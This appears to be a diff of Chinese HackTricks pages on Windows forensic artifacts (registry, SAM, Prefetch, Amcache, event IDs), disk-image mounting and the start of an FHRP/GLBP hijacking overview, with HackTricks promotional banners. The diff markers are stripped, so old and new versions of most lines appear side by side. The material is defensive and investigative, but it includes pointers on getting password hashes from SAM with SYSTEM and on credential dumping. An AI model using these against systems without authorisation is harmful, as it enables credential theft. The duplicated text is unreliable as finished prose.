注册表路径`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`指示正在使用的文件。
|
||||
|
||||
您可以使用工具[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)打开PST文件。
|
||||
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
### Microsoft Outlook OST Files
|
||||
|
||||
### Microsoft Outlook OST文件
|
||||
|
||||
当Microsoft Outlook配置为使用IMAP或Exchange服务器时,将生成一个**OST文件**,存储与PST文件类似的信息。此文件与服务器同步,保留**最近12个月**的数据,最大大小为**50GB**,位于与PST文件相同的目录中。要查看OST文件,可以使用[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)。
|
||||
**OST文件**是Microsoft Outlook在配置了**IMAP**或**Exchange**服务器时生成的,存储类似于PST文件的信息。该文件与服务器同步,保留**最近12个月**的数据,最大大小为**50GB**,位于与PST文件相同的目录中。要查看OST文件,可以使用[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)。
|
||||
|
||||
### 检索附件
|
||||
|
||||
丢失的附件可能可以从以下位置恢复:
|
||||
|
||||
- 对于**IE10**:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- 对于**IE11及更高版本**:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
- 对于**IE11及以上**:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX文件
|
||||
|
||||
|
@ -237,41 +240,41 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
### 图像缩略图
|
||||
|
||||
- **Windows XP和8-8.1**:访问带有缩略图的文件夹会生成一个`thumbs.db`文件,即使删除后仍会存储图像预览。
|
||||
- **Windows 7/10**:通过UNC路径通过网络访问时会创建`thumbs.db`。
|
||||
- **Windows Vista及更高版本**:缩略图预览集中在`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`中,文件名为**thumbcache\_xxx.db**。[**Thumbsviewer**](https://thumbsviewer.github.io)和[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)是查看这些文件的工具。
|
||||
- **Windows XP和8-8.1**:访问带有缩略图的文件夹会生成一个`thumbs.db`文件,即使在删除后仍会存储图像预览。
|
||||
- **Windows 7/10**:通过UNC路径访问时会创建`thumbs.db`。
|
||||
- **Windows Vista及更新版本**:缩略图预览集中存储在`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`中,文件名为**thumbcache\_xxx.db**。[**Thumbsviewer**](https://thumbsviewer.github.io)和[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)是查看这些文件的工具。
|
||||
|
||||
### Windows注册表信息
|
||||
|
||||
Windows注册表存储广泛的系统和用户活动数据,包含在以下文件中:
|
||||
|
||||
- `%windir%\System32\Config`用于各种`HKEY_LOCAL_MACHINE`子键。
|
||||
- `%UserProfile%{User}\NTUSER.DAT`用于`HKEY_CURRENT_USER`。
|
||||
- Windows Vista及更高版本在`%Windir%\System32\Config\RegBack\`中备份`HKEY_LOCAL_MACHINE`注册表文件。
|
||||
- 此外,程序执行信息存储在自Windows Vista和Windows 2008 Server起的`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`中。
|
||||
- 对于各种`HKEY_LOCAL_MACHINE`子键,位于`%windir%\System32\Config`。
|
||||
- 对于`HKEY_CURRENT_USER`,位于`%UserProfile%{User}\NTUSER.DAT`。
|
||||
- Windows Vista及更高版本会在`%Windir%\System32\Config\RegBack\`中备份`HKEY_LOCAL_MACHINE`注册表文件。
|
||||
- 此外,程序执行信息存储在从Windows Vista和Windows 2008 Server开始的`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`中。
|
||||
|
||||
### 工具
|
||||
|
||||
一些工具可用于分析注册表文件:
|
||||
|
||||
- **注册表编辑器**:它已安装在Windows中。这是一个GUI,可用于浏览当前会话的Windows注册表。
|
||||
- [**注册表浏览器**](https://ericzimmerman.github.io/#!index.md):它允许您加载注册表文件并通过GUI浏览它们。它还包含突出显示具有有趣信息的键的书签。
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0):同样,它具有GUI,允许浏览加载的注册表,并包含突出显示已加载注册表中有趣信息的插件。
|
||||
- [**Windows注册表恢复**](https://www.mitec.cz/wrr.html):另一个能够提取注册表中重要信息的GUI应用程序。
|
||||
* **注册表编辑器**:已安装在Windows中。它是一个GUI,可用于浏览当前会话的Windows注册表。
|
||||
* [**注册表浏览器**](https://ericzimmerman.github.io/#!index.md):允许您加载注册表文件并通过GUI浏览它们。还包含突出显示具有有趣信息的键的书签。
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0):同样具有GUI,可用于浏览加载的注册表,并包含突出显示加载的注册表中有趣信息的插件。
|
||||
* [**Windows注册表恢复**](https://www.mitec.cz/wrr.html):另一个能够提取注册表中重要信息的GUI应用程序。
|
||||
|
||||
### 恢复已删除的元素
|
||||
### 恢复已删除元素
|
||||
|
||||
当键被删除时,它会被标记为已删除,但直到需要其占用的空间时才会被删除。因此,使用工具如**注册表浏览器**可以恢复这些已删除的键。
|
||||
删除键后会标记为已删除,但在需要占用其空间之前不会被删除。因此,使用诸如**注册表浏览器**之类的工具可以恢复这些已删除的键。
|
||||
|
||||
### 最后写入时间
|
||||
|
||||
每个键-值包含一个指示上次修改时间的**时间戳**。
|
||||
每个键-值包含一个指示其上次修改时间的**时间戳**。
|
||||
|
||||
### SAM
|
||||
|
||||
文件/注册表**SAM**包含系统的**用户、组和用户密码**哈希。
|
||||
|
||||
在`SAM\Domains\Account\Users`中,您可以获取用户名、RID、上次登录、上次登录失败、登录计数器、密码策略以及帐户创建时间。要获取**哈希值**,您还需要文件/注册表**SYSTEM**。
|
||||
在`SAM\Domains\Account\Users`中,您可以获取用户名、RID、上次登录、上次登录失败、登录计数器、密码策略以及帐户创建时间。要获取**哈希值**,还需要文件/注册表**SYSTEM**。
|
||||
|
||||
### Windows注册表中的有趣条目
|
||||
|
||||
|
@ -285,25 +288,25 @@ Windows注册表存储广泛的系统和用户活动数据,包含在以下文
|
|||
|
||||
在[此文章](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)中,您可以了解常见的Windows进程,以便检测可疑行为。
|
||||
|
||||
### Windows最近应用程序
|
||||
### Windows最近的应用程序
|
||||
|
||||
在注册表`NTUSER.DAT`的路径`Software\Microsoft\Current Version\Search\RecentApps`中,您可以找到有关**执行的应用程序**、**上次执行时间**以及**启动次数**的信息。
|
||||
|
||||
### BAM(后台活动调节器)
|
||||
|
||||
您可以使用注册表编辑器打开`SYSTEM`文件,在路径`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`中,您可以找到有关**每个用户执行的应用程序**的信息(请注意路径中的`{SID}`),以及它们执行的**时间**(时间在注册表的数据值中)。
|
||||
您可以使用注册表编辑器打开`SYSTEM`文件,在路径`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`中,您可以找到有关每个用户执行的**应用程序**的信息(注意路径中的`{SID}`),以及它们执行的**时间**(时间在注册表的数据值中)。
|
||||
|
||||
### Windows预取
|
||||
|
||||
预取是一种技术,允许计算机**静默获取显示内容所需的资源**,用户**可能在不久的将来访问**,以便更快地访问资源。
|
||||
预取是一种技术,允许计算机默默地**获取显示内容所需的资源**,用户**可能在不久的将来访问**,以便更快地访问资源。
|
||||
|
||||
Windows预取包括创建**已执行程序的缓存**,以便能够更快地加载它们。这些缓存作为`.pf`文件创建在路径:`C:\Windows\Prefetch`中。在XP/VISTA/WIN7中限制为128个文件,在Win8/Win10中为1024个文件。
|
||||
Windows预取包括创建**已执行程序的缓存**,以便更快地加载它们。这些缓存以`.pf`文件的形式创建在路径:`C:\Windows\Prefetch`。在XP/VISTA/WIN7中限制为128个文件,在Win8/Win10中为1024个文件。
|
||||
|
||||
文件名创建为`{program_name}-{hash}.pf`(哈希基于可执行文件的路径和参数)。在W10中,这些文件是压缩的。请注意,文件的存在仅表示**程序曾被执行**。
|
||||
文件名创建为`{program_name}-{hash}.pf`(哈希基于可执行文件的路径和参数)。在W10中,这些文件是压缩的。请注意,文件的存在仅表示**该程序曾被执行**。
|
||||
|
||||
文件`C:\Windows\Prefetch\Layout.ini`包含**预取文件夹的名称**。此文件包含有关**执行次数**、**执行日期**和程序打开的**文件**的信息。
|
||||
文件`C:\Windows\Prefetch\Layout.ini`包含**预取文件夹的名称**。该文件包含有关**执行次数**、**执行日期**和程序打开的**文件**的信息。
|
||||
|
||||
要检查这些文件,您可以使用工具[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)。
|
||||
要检查这些文件,可以使用工具[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)。
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
@ -311,7 +314,7 @@ Windows预取包括创建**已执行程序的缓存**,以便能够更快地加
|
|||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch**的目标与prefetch相同,通过预测下一个要加载的内容来**加快程序加载速度**。但是,它并不取代prefetch服务。\
|
||||
**Superprefetch**的目标与prefetch相同,通过预测下一个加载的内容来**加快程序加载速度**。但是,它并不取代prefetch服务。\
|
||||
该服务会在`C:\Windows\Prefetch\Ag*.db`中生成数据库文件。
|
||||
|
||||
在这些数据库中,您可以找到**程序的名称**、**执行次数**、**打开的文件**、**访问的卷**、**完整路径**、**时间范围**和**时间戳**。
|
||||
|
@ -325,9 +328,9 @@ Windows预取包括创建**已执行程序的缓存**,以便能够更快地加
|
|||
它提供以下信息:
|
||||
|
||||
* AppID和路径
|
||||
* 执行该进程的用户
|
||||
* 发送字节
|
||||
* 接收字节
|
||||
* 执行进程的用户
|
||||
* 发送字节数
|
||||
* 接收字节数
|
||||
* 网络接口
|
||||
* 连接持续时间
|
||||
* 进程持续时间
|
||||
|
@ -340,15 +343,15 @@ Windows预取包括创建**已执行程序的缓存**,以便能够更快地加
|
|||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
**AppCompatCache**,也被称为**ShimCache**,是**Microsoft**开发的**应用程序兼容性数据库**的一部分,用于解决应用程序兼容性问题。该系统组件记录了各种文件元数据,包括:
|
||||
**AppCompatCache**(也称为**ShimCache**)是**Microsoft**开发的**应用程序兼容性数据库**的一部分,用于解决应用程序兼容性问题。该系统组件记录了各种文件元数据,包括:
|
||||
|
||||
- 文件的完整路径
|
||||
- 文件大小
|
||||
- 最后修改时间(位于**$Standard\_Information** (SI)下)
|
||||
- **$Standard\_Information**(SI)下的最后修改时间
|
||||
- ShimCache的最后更新时间
|
||||
- 进程执行标志
|
||||
|
||||
这些数据存储在注册表中的特定位置,取决于操作系统的版本:
|
||||
这些数据存储在注册表中的特定位置,具体取决于操作系统的版本:
|
||||
|
||||
- 对于XP,数据存储在`SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`下,容量为96个条目。
|
||||
- 对于Server 2003以及Windows版本2008、2012、2016、7、8和10,存储路径为`SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`,分别容纳512和1024个条目。
|
||||
|
@ -361,13 +364,15 @@ Windows预取包括创建**已执行程序的缓存**,以便能够更快地加
|
|||
|
||||
**Amcache.hve**文件本质上是一个记录在系统上执行的应用程序详细信息的注册表文件。通常位于`C:\Windows\AppCompat\Programas\Amcache.hve`。
|
||||
|
||||
该文件存储了最近执行的进程的记录,包括可执行文件的路径和它们的SHA1哈希值。这些信息对于跟踪系统上应用程序的活动至关重要。
|
||||
该文件存储了最近执行的进程的记录,包括可执行文件的路径和它们的SHA1哈希值。这些信息对于跟踪系统上应用程序的活动非常宝贵。
|
||||
|
||||
要提取和分析**Amcache.hve**中的数据,可以使用[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)工具。以下命令是使用AmcacheParser解析**Amcache.hve**文件内容并以CSV格式输出结果的示例:
|
||||
要提取和分析**Amcache.hve**中的数据,可以使用[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)工具。以下命令是使用AmcacheParser解析**Amcache.hve**文件内容并以CSV格式输出结果的示例命令:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
### 最有趣的CSV文件是`Amcache_Unassociated file entries`,因为它提供了关于未关联文件条目的丰富信息。
|
||||
在生成的CSV文件中,`Amcache_Unassociated file entries`特别值得注意,因为它提供了关于未关联文件条目的丰富信息。
|
||||
|
||||
最有趣的CSV文件是`Amcache_Unassociated file entries`。
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
|
@ -385,13 +390,13 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
|
|||
|
||||
### **Windows商店**
|
||||
|
||||
安装的应用程序可以在`\ProgramData\Microsoft\Windows\AppRepository\`中找到\
|
||||
此存储库中有一个**日志**,其中包含系统中安装的**每个应用程序**,存储在数据库**`StateRepository-Machine.srd`**中。
|
||||
安装的应用程序可以在`\ProgramData\Microsoft\Windows\AppRepository\`中找到。\
|
||||
此存储库中有一个**日志**,其中包含系统中安装的**每个应用程序**的信息,存储在名为**`StateRepository-Machine.srd`**的数据库中。
|
||||
|
||||
在此数据库的Application表中,可以找到列:"Application ID"、"PackageNumber"和"Display Name"。这些列包含有关预安装和已安装应用程序的信息,并且可以查找是否卸载了某些应用程序,因为已安装应用程序的ID应该是连续的。
|
||||
在此数据库的Application表中,可以找到列:"Application ID"、"PackageNumber"和"Display Name"。这些列包含有关预安装和已安装应用程序的信息,并且可以查找是否已卸载某些应用程序,因为已安装应用程序的ID应该是连续的。
|
||||
|
||||
还可以在注册表路径`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`中**找到已安装的应用程序**\
|
||||
以及在`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`中**找到卸载的应用程序**。
|
||||
以及在`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`中**找到已卸载的应用程序**。
|
||||
|
||||
## Windows事件
|
||||
|
||||
|
@ -400,8 +405,8 @@ Windows事件中显示的信息包括:
|
|||
* 发生了什么
|
||||
* 时间戳(UTC + 0)
|
||||
* 涉及的用户
|
||||
* 涉及的主机(主机名、IP)
|
||||
* 访问的资产(文件、文件夹、打印机、服务)
|
||||
* 涉及的主机(主机名,IP)
|
||||
* 访问的资产(文件,文件夹,打印机,服务)
|
||||
|
||||
日志位于Windows Vista之前的`C:\Windows\System32\config`中,在Windows Vista之后位于`C:\Windows\System32\winevt\Logs`中。在Windows Vista之前,事件日志以二进制格式存储,在Windows Vista之后,它们以**XML格式**存储,并使用**.evtx**扩展名。
|
||||
|
||||
|
@ -409,16 +414,16 @@ Windows事件中显示的信息包括:
|
|||
|
||||
可以使用Windows事件查看器(**`eventvwr.msc`**)或其他工具如[**Event Log Explorer**](https://eventlogxp.com) **或** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**来查看这些事件**。
|
||||
|
||||
## 了解Windows安全事件日志记录
|
||||
## 理解Windows安全事件日志记录
|
||||
|
||||
安全配置文件中记录的访问事件位于`C:\Windows\System32\winevt\Security.evtx`。此文件的大小可调整,当达到容量时,旧事件将被覆盖。记录的事件包括用户登录和注销、用户操作、安全设置更改,以及文件、文件夹和共享资产的访问。
|
||||
安全配置文件中记录了访问事件,位于`C:\Windows\System32\winevt\Security.evtx`。此文件的大小可调整,当容量达到时,旧事件将被覆盖。记录的事件包括用户登录和注销、用户操作、安全设置更改,以及文件、文件夹和共享资产的访问。
|
||||
|
||||
### 用户身份验证的关键事件ID:
|
||||
|
||||
- **EventID 4624**:表示用户成功验证。
|
||||
- **EventID 4625**:表示验证失败。
|
||||
- **EventIDs 4634/4647**:代表用户注销事件。
|
||||
- **EventID 4672**:表示使用管理员权限登录。
|
||||
- **EventID 4672**:表示具有管理权限的登录。
|
||||
|
||||
#### EventID 4634/4647中的子类型:
|
||||
|
||||
|
@ -441,7 +446,7 @@ Windows事件中显示的信息包括:
|
|||
- **0xC000006A**:正确的用户名但密码错误 - 可能是密码猜测或暴力破解尝试。
|
||||
- **0xC0000234**:用户帐户被锁定 - 可能是多次登录失败导致的暴力破解攻击。
|
||||
- **0xC0000072**:帐户已禁用 - 未经授权的尝试访问已禁用的帐户。
|
||||
- **0xC000006F**:在允许的时间之外登录 - 表示尝试在设置的登录时间之外访问,可能是未经授权访问的迹象。
|
||||
- **0xC000006F**:在允许的时间外登录 - 表示尝试在设置的登录时间之外访问,可能是未经授权访问的迹象。
|
||||
- **0xC0000070**:违反工作站限制 - 可能是尝试从未经授权的位置登录。
|
||||
- **0xC0000193**:帐户过期 - 使用已过期用户帐户的访问尝试。
|
||||
- **0xC0000071**:密码已过期 - 使用过时密码的登录尝试。
|
||||
|
@ -451,26 +456,22 @@ Windows事件中显示的信息包括:
|
|||
- **0xC000015b**:拒绝的登录类型 - 使用未经授权的登录类型进行访问尝试,例如用户尝试执行服务登录。
|
||||
|
||||
#### EventID 4616:
|
||||
|
||||
- **时间更改**:修改系统时间,可能混淆事件时间轴。
|
||||
- **时间更改**:修改系统时间,可能会混淆事件时间轴。
|
||||
|
||||
#### EventID 6005和6006:
|
||||
|
||||
- **系统启动和关闭**:EventID 6005表示系统启动,而EventID 6006表示系统关闭。
|
||||
|
||||
#### EventID 1102:
|
||||
|
||||
- **日志删除**:清除安全日志,通常是掩盖非法活动的红旗。
|
||||
- **日志删除**:安全日志被清除,通常是掩盖非法活动的红旗。
|
||||
|
||||
#### 用于USB设备跟踪的EventID:
|
||||
|
||||
- **20001 / 20003 / 10000**:USB设备首次连接。
|
||||
- **10100**:USB驱动程序更新。
|
||||
- **EventID 112**:USB设备插入时间。
|
||||
|
||||
有关模拟这些登录类型和凭据转储机会的实际示例,请参阅[Altered Security的详细指南](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)。
|
||||
要了解有关模拟这些登录类型和凭据转储机会的实际示例,请参阅[Altered Security的详细指南](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)。
|
||||
|
||||
事件详细信息,包括状态和子状态代码,可进一步了解事件原因,特别是Event ID 4625中的内容。
|
||||
事件详细信息,包括状态和子状态代码,可进一步了解事件原因,特别是在Event ID 4625中。
|
||||
|
||||
### 恢复Windows事件
|
||||
|
||||
|
@ -478,7 +479,7 @@ Windows事件中显示的信息包括:
|
|||
|
||||
### 通过Windows事件识别常见攻击
|
||||
|
||||
有关使用Windows事件ID识别常见网络攻击的全面指南,请访问[Red Team Recipe](https://redteamrecipe.com/event-codes/)。
|
||||
要全面了解如何使用Windows事件ID识别常见网络攻击,请访问[Red Team Recipe](https://redteamrecipe.com/event-codes/)。
|
||||
|
||||
#### 暴力破解攻击
|
||||
|
||||
|
@ -491,11 +492,29 @@ Windows事件中显示的信息包括:
|
|||
#### USB设备跟踪
|
||||
|
||||
用于USB设备跟踪的有用的系统EventID包括用于初始使用的20001/20003/10000,用于驱动程序更新的10100,以及来自DeviceSetupManager的插入时间戳的EventID 112。
|
||||
|
||||
#### 系统电源事件
|
||||
|
||||
EventID 6005表示系统启动,而EventID 6006表示系统关闭。
|
||||
EventID 6005表示系统启动,而EventID 6006表示关机。
|
||||
|
||||
#### 日志删除
|
||||
|
||||
安全EventID 1102表示日志删除,这是取证分析的关键事件。
|
||||
安全事件ID 1102表示日志删除,这是进行取证分析的关键事件。
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,14 +4,18 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 获取
|
||||
|
||||
### DD
|
||||
|
@ -104,18 +108,22 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
请注意,扇区大小为**512**,起始位置为**2048**。然后按照以下方式挂载镜像:
|
||||
注意,扇区大小为**512**,起始位置为**2048**。然后按照以下方式挂载镜像:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在**网络安全公司**工作吗?想要在**HackTricks中宣传你的公司**?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,11 +9,15 @@
|
|||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## FHRP 劫持概述
|
||||
|
||||
|
@ -21,10 +25,10 @@
|
|||
FHRP 旨在通过将多个路由器合并为单个虚拟单元来提供网络鲁棒性,从而增强负载分配和容错能力。思科系统推出了该套件中的重要协议,如 GLBP 和 HSRP。
|
||||
|
||||
### GLBP 协议概述
|
||||
思科的创造,GLBP,在 TCP/IP 协议栈上运行,利用 UDP 在端口 3222 上进行通信。GLBP 组中的路由器每隔 3 秒交换一次“hello”数据包。如果路由器在 10 秒内未发送这些数据包,则被视为离线。但是,这些计时器并非固定,可以进行修改。
|
||||
思科的创造,GLBP,在 TCP/IP 协议栈上运行,利用 UDP 端口 3222 进行通信。GLBP 组中的路由器每隔 3 秒交换一次“hello”数据包。如果路由器在 10 秒内未发送这些数据包,则被视为离线。但这些计时器并非固定,可以进行修改。
|
||||
|
||||
### GLBP 操作和负载分配
|
||||
GLBP 通过使用单个虚拟 IP 和多个虚拟 MAC 地址在路由器之间实现负载分配。在 GLBP 组中,每个路由器都参与数据包转发。与 HSRP/VRRP 不同,GLBP 通过几种机制提供真正的负载平衡:
|
||||
### GLBP 运行和负载分配
|
||||
GLBP 通过使用单个虚拟 IP 和多个虚拟 MAC 地址实现跨路由器的负载分配。在 GLBP 组中,每个路由器都参与数据包转发。与 HSRP/VRRP 不同,GLBP 通过几种机制提供真正的负载平衡:
|
||||
|
||||
- **主机相关负载平衡:** 为主机分配一致的 AVF MAC 地址,对于稳定的 NAT 配置至关重要。
|
||||
- **轮询负载平衡:** 默认方法,在请求主机之间交替分配 AVF MAC 地址。
|
||||
|
@ -32,12 +36,12 @@ GLBP 通过使用单个虚拟 IP 和多个虚拟 MAC 地址在路由器之间实
|
|||
|
||||
### GLBP 中的关键组件和术语
|
||||
- **AVG(活动虚拟网关):** 负责为对等路由器分配 MAC 地址的主要路由器。
|
||||
- **AVF(活动虚拟转发器):** 指定管理网络流量的路由器。
|
||||
- **GLBP 优先级:** 决定 AVG 的度量,从默认值 100 开始,范围在 1 到 255 之间。
|
||||
- **AVF(活动虚拟转发器):** 指定用于管理网络流量的路由器。
|
||||
- **GLBP 优先级:** 决定 AVG 的度量标准,从默认值 100 开始,范围在 1 到 255 之间。
|
||||
- **GLBP 权重:** 反映路由器上的当前负载,可以手动调整或通过对象跟踪进行调整。
|
||||
- **GLBP 虚拟 IP 地址:** 为所有连接设备提供网络的默认网关。
|
||||
|
||||
在交互方面,GLBP 使用保留的多播地址 224.0.0.102 和 UDP 端口 3222。路由器每隔 3 秒传输“hello”数据包,如果在 10 秒内错过一个数据包,则被视为非操作。
|
||||
在交互方面,GLBP 使用保留的组播地址 224.0.0.102 和 UDP 端口 3222。路由器每隔 3 秒传输“hello”数据包,如果在 10 秒内错过一个数据包,则被视为非操作。
|
||||
|
||||
